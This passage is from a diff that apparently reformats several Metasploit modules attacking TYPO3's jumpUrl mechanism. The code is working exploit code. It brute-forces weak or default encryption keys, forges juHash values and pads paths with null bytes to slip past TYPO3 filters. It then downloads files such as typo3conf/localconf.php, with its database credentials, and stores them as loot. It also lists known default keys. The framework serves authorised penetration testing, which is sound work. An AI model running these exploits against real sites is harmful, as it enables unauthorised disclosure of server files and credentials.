dump_the_hash(pattern1: pattern1, pattern2: pattern2)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,40 +9,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TYPO3 sa-2009-001 Weak Encryption Key File Disclosure',
|
||||
'Description' => %q{
|
||||
'Name' => 'TYPO3 sa-2009-001 Weak Encryption Key File Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in TYPO3 encryption ey creation process to allow for
|
||||
file disclosure in the jumpUrl mechanism. This flaw can be used to read any file
|
||||
that the web server user account has access to view.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2009-0255'],
|
||||
['OSVDB', '51536'],
|
||||
['URL', 'http://blog.c22.cc/advisories/typo3-sa-2009-001'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/'],
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2009-0255'],
|
||||
['OSVDB', '51536'],
|
||||
['URL', 'http://blog.c22.cc/advisories/typo3-sa-2009-001'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-001/'],
|
||||
],
|
||||
'DisclosureDate' => 'Jan 20 2009',
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "TYPO3 Path", "/"]),
|
||||
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
|
||||
OptString.new('ENC_KEY', [false, "Encryption key if known", '']),
|
||||
])
|
||||
OptString.new('URI', [true, 'TYPO3 Path', '/']),
|
||||
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
|
||||
OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def enc_key(seed)
|
||||
|
||||
if datastore['ENC_KEY'] != ''
|
||||
final = datastore['ENC_KEY']
|
||||
print_status("Using provided Encryption Key")
|
||||
print_status('Using provided Encryption Key')
|
||||
else
|
||||
# build the encrption key to check
|
||||
seed = seed.to_s()
|
||||
seed = seed.to_s
|
||||
rnd1 = Digest::MD5.hexdigest(seed)
|
||||
rnd2 = Digest::MD5.hexdigest(rnd1)
|
||||
rnd3 = Digest::MD5.hexdigest(rnd1 + rnd2)
|
||||
|
@ -53,98 +52,95 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
|
||||
jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
|
||||
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
|
||||
when /^\.\.(\/|\\)/i
|
||||
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
|
||||
else
|
||||
jumpurl_len = (datastore['RFILE'].length)
|
||||
jumpurl = "#{datastore['RFILE']}"
|
||||
jumpurl_enc = "#{datastore['RFILE']}"
|
||||
end
|
||||
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
print_status("Rotating through possible weak encryption keys")
|
||||
|
||||
for i in (0..1000)
|
||||
|
||||
final = enc_key(i)
|
||||
|
||||
locationData = Rex::Text::rand_text_numeric(1) +'::'+ Rex::Text::rand_text_numeric(2)
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
|
||||
juarray << ";i:2;s:#{final.length}:\"#{final}\";}"
|
||||
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
|
||||
uri_base_path = normalize_uri(uri, '/index.php')
|
||||
|
||||
file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
|
||||
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
|
||||
|
||||
begin
|
||||
file = send_request_raw({
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close',
|
||||
}
|
||||
},25)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
|
||||
jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
|
||||
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
|
||||
when %r{^\.\.(/|\\)}i
|
||||
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
|
||||
else
|
||||
jumpurl_len = datastore['RFILE'].length
|
||||
jumpurl = datastore['RFILE'].to_s
|
||||
jumpurl_enc = datastore['RFILE'].to_s
|
||||
end
|
||||
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
print_status('Rotating through possible weak encryption keys')
|
||||
|
||||
for i in (0..1000)
|
||||
|
||||
final = enc_key(i)
|
||||
|
||||
locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
|
||||
juarray << ";i:2;s:#{final.length}:\"#{final}\";}"
|
||||
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
|
||||
uri_base_path = normalize_uri(uri, '/index.php')
|
||||
|
||||
file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
|
||||
vprint_status("Checking Encryption Key [#{i}/1000]: #{final}")
|
||||
|
||||
begin
|
||||
file = send_request_raw({
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
|
||||
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_sa_2009_001")
|
||||
return
|
||||
else
|
||||
if datastore['ENC_KEY'] != ''
|
||||
print_error("Encryption Key specified is not correct")
|
||||
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
return
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good("Discovered encryption key : #{final}")
|
||||
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
|
||||
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2009_001')
|
||||
return
|
||||
else
|
||||
# Try next encryption key
|
||||
if datastore['ENC_KEY'] != ''
|
||||
print_error('Encryption Key specified is not correct')
|
||||
return
|
||||
else
|
||||
# Try next encryption key
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{rhost}:#{rport} [Typo3-SA-2009-001] Failed to retrieve file #{datastore['RFILE']}")
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,97 +7,96 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Typo3 sa-2009-002 File Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a file disclosure vulnerability in the jumpUrl mechanism of
|
||||
Typo3. This flaw can be used to read any file that the web server user account has
|
||||
access to.
|
||||
|
||||
},
|
||||
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Typo3 sa-2009-002 File Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a file disclosure vulnerability in the jumpUrl mechanism of
|
||||
Typo3. This flaw can be used to read any file that the web server user account has
|
||||
access to.
|
||||
},
|
||||
'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['OSVDB', '52048'],
|
||||
['CVE', '2009-0815'],
|
||||
['URL', 'http://secunia.com/advisories/33829/'],
|
||||
['EDB', '8038'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-002/'],
|
||||
],
|
||||
'DisclosureDate' => '2009-02-10',
|
||||
'Actions' =>
|
||||
[
|
||||
['Download', 'Description' => 'Download arbitrary file']
|
||||
'DisclosureDate' => '2009-02-10',
|
||||
'Actions' => [
|
||||
['Download', { 'Description' => 'Download arbitrary file' }]
|
||||
],
|
||||
'DefaultAction' => 'Download'
|
||||
))
|
||||
'DefaultAction' => 'Download'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "Typo3 Path", "/"]),
|
||||
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
|
||||
OptString.new('LFILE',[true, "The local filename to store the data", "localconf.php"]),
|
||||
])
|
||||
OptString.new('URI', [true, 'Typo3 Path', '/']),
|
||||
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
|
||||
OptString.new('LFILE', [true, 'The local filename to store the data', 'localconf.php']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Establishing a connection to the target...")
|
||||
print_status('Establishing a connection to the target...')
|
||||
|
||||
error_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&locationData=1:"
|
||||
error_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + '&juSecure=1&type=0&locationData=1:'
|
||||
ju_hash = nil
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => error_uri,
|
||||
'method' => 'GET',
|
||||
'uri' => error_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
||||
'Connection' => 'Close',
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if (res and res.message == "OK")
|
||||
if (res && (res.message == 'OK'))
|
||||
res.body =~ /jumpurl Secure: Calculated juHash, ((\w)+), did not match the submitted juHash./
|
||||
|
||||
if $1.nil?
|
||||
print_error("Error while getting juHash. Maybe the version is already patched...")
|
||||
if ::Regexp.last_match(1).nil?
|
||||
print_error('Error while getting juHash. Maybe the version is already patched...')
|
||||
return
|
||||
end
|
||||
|
||||
ju_hash = $1
|
||||
ju_hash = ::Regexp.last_match(1)
|
||||
print_status("Getting juHash from error message: #{ju_hash}")
|
||||
|
||||
else
|
||||
print_error("No response from the server.")
|
||||
print_error('No response from the server.')
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
file_uri = datastore['URI'] + "/index.php?jumpurl=" +datastore['RFILE'] +"&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"
|
||||
file_uri = datastore['URI'] + '/index.php?jumpurl=' + datastore['RFILE'] + "&juSecure=1&type=0&juHash=#{ju_hash}&locationData=1:"
|
||||
print_status("Trying to get #{datastore['RFILE']}.")
|
||||
|
||||
file = send_request_raw({
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
||||
'Connection' => 'Close',
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
},25)
|
||||
}, 25)
|
||||
|
||||
if (file and file.message = "OK")
|
||||
if (file && ((file.message = 'OK')))
|
||||
if file.body == 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Writing local file #{datastore['LFILE']}.")
|
||||
open(datastore['LFILE'],'w') {|f| f << file.body }
|
||||
open(datastore['LFILE'], 'w') { |f| f << file.body }
|
||||
else
|
||||
print_error("Error while getting file.")
|
||||
print_error('Error while getting file.')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,139 +3,130 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'thread'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',
|
||||
'Description' => %q{
|
||||
'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.
|
||||
Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.
|
||||
This flaw can be used to read any file that the web server user account has access to view.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-3714'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
|
||||
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Chris John Riley',
|
||||
'Gregor Kopf', # Original Discovery
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
['CVE', '2010-3714'],
|
||||
['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
|
||||
['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'],
|
||||
],
|
||||
'Author' => [
|
||||
'Chris John Riley',
|
||||
'Gregor Kopf', # Original Discovery
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "TYPO3 Path", "/"]),
|
||||
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
|
||||
OptInt.new('MAX_TRIES', [true, "Maximum tries", 10000]),
|
||||
])
|
||||
|
||||
OptString.new('URI', [true, 'TYPO3 Path', '/']),
|
||||
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
|
||||
OptInt.new('MAX_TRIES', [true, 'Maximum tries', 10000]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
when /^\.\.(\/|\\)/i
|
||||
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
|
||||
else
|
||||
jumpurl = "#{datastore['RFILE']}"
|
||||
end
|
||||
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
|
||||
location_base = Rex::Text::rand_text_numeric(1)
|
||||
counter = 0
|
||||
|
||||
queue = []
|
||||
print_status("Creating request queue")
|
||||
|
||||
1.upto(datastore['MAX_TRIES']) do
|
||||
counter = counter +1
|
||||
locationData = "#{location_base}::#{counter}"
|
||||
queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0"
|
||||
if ((counter.to_f/datastore['MAX_TRIES'].to_f)*100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%
|
||||
percentage = (counter.to_f/datastore['MAX_TRIES'].to_f)*100
|
||||
print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
when %r{^\.\.(/|\\)}i
|
||||
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
|
||||
else
|
||||
jumpurl = datastore['RFILE'].to_s
|
||||
end
|
||||
|
||||
end
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
|
||||
print_status("Queue compiled. Beginning requests... grab a coffee!")
|
||||
location_base = Rex::Text.rand_text_numeric(1)
|
||||
counter = 0
|
||||
|
||||
counter = 0
|
||||
queue.each do |check|
|
||||
counter = counter +1
|
||||
check = check.sub("//", "/") # Prevent double // from appearing in uri
|
||||
begin
|
||||
queue = []
|
||||
print_status('Creating request queue')
|
||||
|
||||
file = send_request_raw({
|
||||
'uri' => check,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close',
|
||||
}
|
||||
},25)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
return
|
||||
1.upto(datastore['MAX_TRIES']) do
|
||||
counter += 1
|
||||
locationData = "#{location_base}::#{counter}"
|
||||
queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=0"
|
||||
if ((counter.to_f / datastore['MAX_TRIES'].to_f) * 100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%
|
||||
percentage = (counter.to_f / datastore['MAX_TRIES'].to_f) * 100
|
||||
print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")
|
||||
end
|
||||
end
|
||||
|
||||
if file.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
print_status('Queue compiled. Beginning requests... grab a coffee!')
|
||||
|
||||
if ((counter.to_f/queue.length.to_f)*100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
|
||||
percentage = (counter.to_f/queue.length.to_f)*100.0
|
||||
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
|
||||
end
|
||||
|
||||
# file can be nil
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
counter = 0
|
||||
queue.each do |check|
|
||||
counter += 1
|
||||
check = check.sub('//', '/') # Prevent double // from appearing in uri
|
||||
begin
|
||||
file = send_request_raw({
|
||||
'uri' => check,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
return
|
||||
when /jumpurl Secure: locationData/i
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
return
|
||||
end
|
||||
|
||||
if file.nil?
|
||||
print_error('Connection timed out')
|
||||
return
|
||||
end
|
||||
|
||||
if ((counter.to_f / queue.length.to_f) * 100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
|
||||
percentage = (counter.to_f / queue.length.to_f) * 100.0
|
||||
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
|
||||
end
|
||||
|
||||
# file can be nil
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
return
|
||||
when /jumpurl Secure: locationData/i
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
return
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good('Found matching hash')
|
||||
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
|
||||
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2010_020')
|
||||
return
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good("Found matching hash")
|
||||
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
|
||||
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_sa_2010_020")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")
|
||||
|
||||
print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
|
||||
'Description' => %q{
|
||||
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
|
||||
'Description' => %q{
|
||||
This module exploits known default encryption keys found in the TYPO3 Winstaller.
|
||||
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
|
||||
used to read any file that the web server user account has access to view.
|
||||
|
@ -19,182 +19,179 @@ class MetasploitModule < Msf::Auxiliary
|
|||
of Typo3. Use the show actions command to display and select the version of TYPO3 in
|
||||
use (defaults to the older method of juhash creation).
|
||||
},
|
||||
'References' =>
|
||||
'References' => [
|
||||
['URL', 'http://typo3winstaller.sourceforge.net/'],
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
[
|
||||
['URL', 'http://typo3winstaller.sourceforge.net/'],
|
||||
'Short_MD5',
|
||||
{
|
||||
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
|
||||
}
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Short_MD5',
|
||||
{
|
||||
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
|
||||
}
|
||||
],
|
||||
[ 'MIME',
|
||||
{
|
||||
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
|
||||
}
|
||||
],
|
||||
[ 'HMAC_SHA1',
|
||||
{
|
||||
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
|
||||
}
|
||||
]
|
||||
'MIME',
|
||||
{
|
||||
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
|
||||
}
|
||||
],
|
||||
'DefaultAction' => 'Short_MD5'
|
||||
[
|
||||
'HMAC_SHA1',
|
||||
{
|
||||
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'Short_MD5'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8503),
|
||||
OptString.new('URI', [true, "TYPO3 Path", "/"]),
|
||||
OptString.new('RFILE', [true, "The remote file to download", 'typo3conf/localconf.php']),
|
||||
OptString.new('ENC_KEY', [false, "Encryption key if known", '']),
|
||||
])
|
||||
|
||||
OptString.new('URI', [true, 'TYPO3 Path', '/']),
|
||||
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
|
||||
OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
|
||||
# Add padding to bypass TYPO3 security filters
|
||||
#
|
||||
# Null byte fixed in PHP 5.3.4
|
||||
#
|
||||
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
jumpurl_len = (jumpurl.length) -2 #Account for difference in length with null byte
|
||||
jumpurl_enc = jumpurl.sub("%00", "\00") #Replace %00 with \00 to correct null byte format
|
||||
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
|
||||
when /^\.\.(\/|\\)/i
|
||||
print_error("Directory traversal detected... you might want to start that with a /.. or \\..")
|
||||
else
|
||||
jumpurl_len = (datastore['RFILE'].length)
|
||||
jumpurl = "#{datastore['RFILE']}"
|
||||
jumpurl_enc = "#{datastore['RFILE']}"
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Short_MD5'
|
||||
print_status("Performing downloading using Short_MD5 style juHash creation - see show actions for more details")
|
||||
when 'MIME'
|
||||
print_status("Performing downloading using MIME style juHash creation - see show actions for more details")
|
||||
when 'HMAC_SHA1'
|
||||
print_status("Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details")
|
||||
end
|
||||
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
|
||||
if datastore['ENC_KEY'] != ''
|
||||
encryption_keys = [datastore['ENC_KEY']]
|
||||
print_status("Using provided Encryption Key")
|
||||
else
|
||||
print_status("Rotating through known encryption keys")
|
||||
encryption_keys = [
|
||||
# TYPO3 4.3.x - 4.4.x
|
||||
'd696ab49a803d7816021cb1768a6917d',
|
||||
